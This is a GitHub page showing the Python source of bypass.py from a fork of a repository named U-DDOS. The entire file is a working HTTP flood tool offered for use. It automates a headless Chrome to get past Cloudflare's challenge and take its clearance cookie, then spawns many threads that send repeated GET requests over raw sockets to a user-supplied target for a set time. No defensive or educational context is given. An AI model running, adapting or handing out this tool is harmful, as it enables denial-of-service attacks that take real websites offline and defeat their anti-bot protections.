forked from U7P4L-IN/U-DDOS
-
Notifications
You must be signed in to change notification settings - Fork 0
/
bypass.py
137 lines (129 loc) · 5.59 KB
/
bypass.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
# -*- coding: utf-8 -*-
from os import system, name
import os, threading, requests, cloudscraper, datetime, time, socket, socks, ssl, random
from urllib.parse import urlparse
from requests.cookies import RequestsCookieJar
import undetected_chromedriver as webdriver
from sys import stdout
from colorama import Fore, init
init(convert=True)
def countdown(t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
while True:
if (until - datetime.datetime.now()).total_seconds() > 0:
stdout.flush()
stdout.write("\r "+Fore.MAGENTA+"[*]"+Fore.WHITE+" Attack status => " + str((until - datetime.datetime.now()).total_seconds()) + " sec left ")
else:
stdout.flush()
stdout.write("\r "+Fore.MAGENTA+"[*]"+Fore.WHITE+" Attack Done | Ctrl + C to exit! \n")
return
#region get
def get_target(url):
url = url.rstrip()
target = {}
target['uri'] = urlparse(url).path
if target['uri'] == "":
target['uri'] = "/"
target['host'] = urlparse(url).netloc
target['scheme'] = urlparse(url).scheme
if ":" in urlparse(url).netloc:
target['port'] = urlparse(url).netloc.split(":")[1]
else:
target['port'] = "443" if urlparse(url).scheme == "https" else "80"
pass
return target
def get_proxies():
global proxies
if not os.path.exists("./proxy.txt"):
stdout.write(Fore.MAGENTA+" [*]"+Fore.WHITE+" You Need Proxy File ( ./proxy.txt )\n")
return False
proxies = open("./proxy.txt", 'r').read().split('\n')
return True
def get_cookie(url):
global useragent, cookieJAR, cookie
options = webdriver.ChromeOptions()
arguments = [
'--no-sandbox', '--disable-setuid-sandbox', '--disable-infobars', '--disable-logging', '--disable-login-animations',
'--disable-notifications', '--disable-gpu', '--headless', '--lang=ko_KR', '--start-maxmized',
'--user-agent=Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G60 MicroMessenger/6.5.18 NetType/WIFI Language/en'
]
for argument in arguments:
options.add_argument(argument)
driver = webdriver.Chrome(options=options)
driver.implicitly_wait(3)
driver.get(url)
for _ in range(60):
cookies = driver.get_cookies()
tryy = 0
for i in cookies:
if i['name'] == 'cf_clearance':
cookieJAR = driver.get_cookies()[tryy]
useragent = driver.execute_script("return navigator.userAgent")
cookie = f"{cookieJAR['name']}={cookieJAR['value']}"
driver.quit()
return True
else:
tryy += 1
pass
time.sleep(1)
driver.quit()
return False
def get_info():
stdout.write(Fore.MAGENTA+" [>] "+Fore.WHITE+"URL "+Fore.RED+": "+Fore.LIGHTGREEN_EX)
target = input()
stdout.write(Fore.MAGENTA+" [>] "+Fore.WHITE+"THREAD "+Fore.RED+": "+Fore.LIGHTGREEN_EX)
thread = input()
stdout.write(Fore.MAGENTA+" [>] "+Fore.WHITE+"TIME(s) "+Fore.RED+": "+Fore.LIGHTGREEN_EX)
t = input()
return target, thread, t
def LaunchCFSOC(url, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
target = get_target(url)
req = 'GET '+ target['uri'] +' HTTP/1.1\r\n'
req += 'Host: ' + target['host'] + '\r\n'
req += 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'
req += 'Accept-Encoding: gzip, deflate, br\r\n'
req += 'Accept-Language: ko,ko-KR;q=0.9,en-US;q=0.8,en;q=0.7\r\n'
req += 'Cache-Control: max-age=0\r\n'
req += 'Cookie: ' + cookie + '\r\n'
req += f'sec-ch-ua: "Chromium";v="100", "Google Chrome";v="100"\r\n'
req += 'sec-ch-ua-mobile: ?0\r\n'
req += 'sec-ch-ua-platform: "Windows"\r\n'
req += 'sec-fetch-dest: empty\r\n'
req += 'sec-fetch-mode: cors\r\n'
req += 'sec-fetch-site: same-origin\r\n'
req += 'Connection: Keep-Alive\r\n'
req += 'User-Agent: ' + useragent + '\r\n\r\n\r\n'
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackCFSOC,args=(until, target, req,))
thd.start()
except:
pass
def AttackCFSOC(until_datetime, target, req):
if target['scheme'] == 'https':
packet = socks.socksocket()
packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
packet.connect((str(target['host']), int(target['port'])))
packet = ssl.create_default_context().wrap_socket(packet, server_hostname=target['host'])
else:
packet = socks.socksocket()
packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
packet.connect((str(target['host']), int(target['port'])))
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
for _ in range(10):
packet.send(str.encode(req))
except:
packet.close()
pass
if __name__ == '__main__':
target, thread, t = get_info()
stdout.write(Fore.MAGENTA+" [*] "+Fore.WHITE+"Bypassing CF... (Max 300s)\n")
if get_cookie(target):
timer = threading.Thread(target=countdown, args=(t,))
timer.start()
LaunchCFSOC(target, thread, t)
timer.join()
else:
stdout.write(Fore.MAGENTA+" [*] "+Fore.WHITE+"Failed to bypass cf\n")